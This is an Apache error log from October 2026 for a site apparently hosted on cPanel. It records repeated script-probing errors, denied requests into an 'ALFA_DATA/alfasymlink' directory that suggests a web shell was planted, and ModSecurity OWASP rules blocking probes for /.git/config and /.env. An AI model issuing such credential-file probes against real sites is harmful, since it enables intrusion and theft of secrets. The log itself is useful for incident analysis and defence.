[Mon Oct 26 19:51:22.402145 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:22.443129 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:22.484302 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:22.525697 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:22.566703 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:22.607401 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:22.647971 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:22.688560 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:22.729624 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:22.770602 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:22.811187 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:22.851595 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:22.892483 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:22.933308 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:22.973609 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:23.016645 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:23.058554 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:23.101536 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:23.141619 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:23.181762 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:23.222296 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:23.263315 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:23.283446 2026] [security2:error] [pid 3098116:tid 3098116] [client 20.151.218.88:40432] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/f35.php"] [unique_id "at_nezS1e-yu7xYT1dr73AAAAAk"]
[Mon Oct 26 19:51:23.283494 2026] [security2:error] [pid 3098116:tid 3098116] [client 20.151.218.88:40432] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/f35.php"] [unique_id "at_nezS1e-yu7xYT1dr73AAAAAk"]
[Mon Oct 26 19:51:23.304232 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:23.344490 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:23.385867 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:23.426620 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:23.466732 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:23.507076 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:23.547339 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:23.587915 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:23.628641 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:23.669169 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:23.710357 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:23.751862 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:23.793331 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:23.834101 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:23.875840 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:23.917009 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:23.957857 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:23.999391 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:24.040182 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:24.080984 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:24.123032 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:24.163768 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:24.205189 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:24.246416 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:24.287346 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:24.327585 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:24.678584 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:24.719943 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:24.964134 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:25.005336 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:25.048078 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:25.089672 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:25.130859 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:25.172641 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:25.224083 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:25.264815 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:25.304986 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:25.345273 2026] [proxy_fcgi:error] [pid 3122519:tid 3122519] [client 20.151.218.88:40404] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:25.448078 2026] [proxy_fcgi:error] [pid 3117428:tid 3117428] [client 20.151.218.88:40344] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:25.488029 2026] [proxy_fcgi:error] [pid 3117428:tid 3117428] [client 20.151.218.88:40344] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:25.607796 2026] [proxy_fcgi:error] [pid 3117428:tid 3117428] [client 20.151.218.88:40344] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:25.648169 2026] [proxy_fcgi:error] [pid 3117428:tid 3117428] [client 20.151.218.88:40344] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:25.688513 2026] [proxy_fcgi:error] [pid 3117428:tid 3117428] [client 20.151.218.88:40344] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:25.729566 2026] [proxy_fcgi:error] [pid 3117428:tid 3117428] [client 20.151.218.88:40344] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:25.770049 2026] [proxy_fcgi:error] [pid 3117428:tid 3117428] [client 20.151.218.88:40344] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:25.809767 2026] [proxy_fcgi:error] [pid 3117428:tid 3117428] [client 20.151.218.88:40344] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:25.849626 2026] [proxy_fcgi:error] [pid 3117428:tid 3117428] [client 20.151.218.88:40344] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:25.889471 2026] [proxy_fcgi:error] [pid 3117428:tid 3117428] [client 20.151.218.88:40344] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:25.931246 2026] [proxy_fcgi:error] [pid 3117428:tid 3117428] [client 20.151.218.88:40344] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:26.011467 2026] [proxy_fcgi:error] [pid 3117428:tid 3117428] [client 20.151.218.88:40344] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:26.093016 2026] [proxy_fcgi:error] [pid 3117428:tid 3117428] [client 20.151.218.88:40344] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:26.133318 2026] [proxy_fcgi:error] [pid 3117428:tid 3117428] [client 20.151.218.88:40344] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:26.173267 2026] [proxy_fcgi:error] [pid 3117428:tid 3117428] [client 20.151.218.88:40344] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:26.262229 2026] [proxy_fcgi:error] [pid 3117428:tid 3117428] [client 20.151.218.88:40344] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:26.303855 2026] [proxy_fcgi:error] [pid 3117428:tid 3117428] [client 20.151.218.88:40344] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:26.343360 2026] [proxy_fcgi:error] [pid 3117428:tid 3117428] [client 20.151.218.88:40344] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:26.383706 2026] [proxy_fcgi:error] [pid 3117428:tid 3117428] [client 20.151.218.88:40344] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:26.423901 2026] [proxy_fcgi:error] [pid 3117428:tid 3117428] [client 20.151.218.88:40344] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:26.463465 2026] [proxy_fcgi:error] [pid 3117428:tid 3117428] [client 20.151.218.88:40344] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:26.503068 2026] [proxy_fcgi:error] [pid 3117428:tid 3117428] [client 20.151.218.88:40344] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:26.542851 2026] [proxy_fcgi:error] [pid 3117428:tid 3117428] [client 20.151.218.88:40344] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:26.583143 2026] [proxy_fcgi:error] [pid 3117428:tid 3117428] [client 20.151.218.88:40344] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:26.622972 2026] [proxy_fcgi:error] [pid 3117428:tid 3117428] [client 20.151.218.88:40344] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 19:51:34.182833 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 52.204.37.237:4828] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:51:38.298519 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 3.221.222.168:24959] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:52:06.244735 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 44.217.255.167:41518] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:52:10.202769 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 54.152.163.42:27339] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:52:14.195939 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 52.2.4.213:40552] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:52:20.451522 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 85.208.96.205:59814] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/radix_tree_node/slab_size
[Mon Oct 26 19:52:22.159630 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 18.205.91.101:27763] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:52:26.154903 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 44.214.19.8:59949] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:52:38.146805 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 34.205.163.103:35310] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:52:38.147013 2026] [security2:error] [pid 3098113:tid 3098113] [client 34.205.163.103:35310] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory5/node0/memory12/online"] [unique_id "at_nxrHarSgES5WqcDhIQAAAAAU"]
[Mon Oct 26 19:52:38.147034 2026] [security2:error] [pid 3098113:tid 3098113] [client 34.205.163.103:35310] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory5/node0/memory12/online"] [unique_id "at_nxrHarSgES5WqcDhIQAAAAAU"]
[Mon Oct 26 19:52:46.198230 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 52.21.62.139:62823] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:52:50.168836 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 3.226.34.98:3917] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:52:54.156771 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 107.22.208.39:45842] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:53:06.211412 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 34.227.234.246:64185] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:53:10.162810 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 3.90.73.206:49634] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:53:25.270170 2026] [security2:error] [pid 3122515:tid 3122515] [client 176.65.132.239:44504] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at_n9f9ZN9W71fUwv43PYAAAAAA"]
[Mon Oct 26 19:53:25.270447 2026] [security2:error] [pid 3122515:tid 3122515] [client 176.65.132.239:44504] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at_n9f9ZN9W71fUwv43PYAAAAAA"]
[Mon Oct 26 19:53:25.270737 2026] [security2:error] [pid 3122515:tid 3122515] [client 176.65.132.239:44504] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at_n9f9ZN9W71fUwv43PYAAAAAA"]
[Mon Oct 26 19:53:26.156708 2026] [core:error] [pid 3083765:tid 3083765] (13)Permission denied: [client 52.1.157.90:58179] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/PNP0A03:00/device:00/physical_node/driver/0000:00:01.3/subsystem/drivers/uhci_hcd/0000:00:01.2/wakeup/wakeup9/device/resource4
[Mon Oct 26 19:53:34.178430 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 35.169.240.53:29109] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:53:38.161440 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 107.23.62.75:64032] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:53:54.171349 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 18.209.201.119:23526] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:54:10.232139 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 44.221.180.179:43071] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:54:22.164885 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 184.73.68.20:4407] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:54:26.143368 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 54.197.114.76:14085] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:54:38.272304 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 52.45.77.169:33473] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:54:42.312509 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 34.225.24.180:20356] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:54:50.165452 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 52.200.58.199:18836] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:54:58.177894 2026] [core:error] [pid 3117426:tid 3117426] (13)Permission denied: [client 44.212.106.171:25659] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/LNXSYSTM:00/subsystem/uevent
[Mon Oct 26 19:54:59.911674 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 185.191.171.11:40636] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:55:02.175027 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 18.207.79.144:22373] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:55:06.196888 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 3.218.103.254:3669] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:55:14.160109 2026] [ssl:error] [pid 3100940:tid 3100940] (70014)End of file found: [client 3.89.176.255:15861] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:55:18.150260 2026] [core:error] [pid 3113375:tid 3113375] (13)Permission denied: [client 3.81.253.213:61668] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/drivers/ata_piix/0000:00:01.1/resource4
[Mon Oct 26 19:55:30.166107 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 3.220.148.166:62070] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:55:34.154231 2026] [ssl:error] [pid 3122515:tid 3122515] (70014)End of file found: [client 34.224.9.144:65440] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:55:46.158051 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 3.217.171.106:61444] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:55:50.211458 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 52.54.15.103:35156] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:55:58.174264 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.3.155.146:32988] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:56:02.329725 2026] [ssl:error] [pid 3098113:tid 3098113] (70014)End of file found: [client 52.44.174.136:44074] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:56:06.166751 2026] [ssl:error] [pid 3112229:tid 3112229] (70014)End of file found: [client 52.73.142.41:28410] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:56:10.146431 2026] [ssl:error] [pid 3098116:tid 3098116] (70014)End of file found: [client 44.207.252.58:16332] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:56:12.339892 2026] [security2:error] [pid 3113375:tid 3113375] [client 170.106.163.48:52288] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/escu.com/"] [unique_id "at_onLFVcNHq_I-IXO78XgAAAAM"]
[Mon Oct 26 19:56:12.341633 2026] [authz_core:error] [pid 3113375:tid 3113375] [client 170.106.163.48:52288] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escu.com/php.ini
[Mon Oct 26 19:56:14.238318 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 23.23.99.55:61920] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:56:22.147274 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 52.44.174.136:48609] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:56:34.293494 2026] [ssl:error] [pid 3113375:tid 3113375] (70014)End of file found: [client 98.83.8.142:24595] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:56:58.155933 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 52.70.123.241:52386] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:57:02.153544 2026] [core:error] [pid 3117428:tid 3117428] (13)Permission denied: [client 52.44.229.124:2595] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory0/subsystem/devices/memory1/subsystem/drivers_probe
[Mon Oct 26 19:57:08.736667 2026] [security2:error] [pid 3098113:tid 3098113] [client 185.191.171.13:57398] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/arastta/php56/install.php"] [unique_id "at_o1LHarSgES5WqcDhIRwAAAAU"]
[Mon Oct 26 19:57:08.736703 2026] [security2:error] [pid 3098113:tid 3098113] [client 185.191.171.13:57398] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/arastta/php56/install.php"] [unique_id "at_o1LHarSgES5WqcDhIRwAAAAU"]
[Mon Oct 26 19:57:14.171640 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 52.205.113.104:52763] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:57:22.278314 2026] [core:error] [pid 3122519:tid 3122519] (13)Permission denied: [client 3.224.205.25:33757] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/cache_dma
[Mon Oct 26 19:57:26.163136 2026] [ssl:error] [pid 3117426:tid 3117426] (70014)End of file found: [client 54.86.59.155:48553] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:57:30.152699 2026] [ssl:error] [pid 3117428:tid 3117428] (70014)End of file found: [client 54.90.8.255:54788] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:57:34.272243 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 44.213.202.136:65018] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 19:57:36.095747 2026] [security2:error] [pid 3122515:tid 3122515] [client 54.38.98.178:43584] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "at_o8P9ZN9W71fUwv43PagAAAAA"]
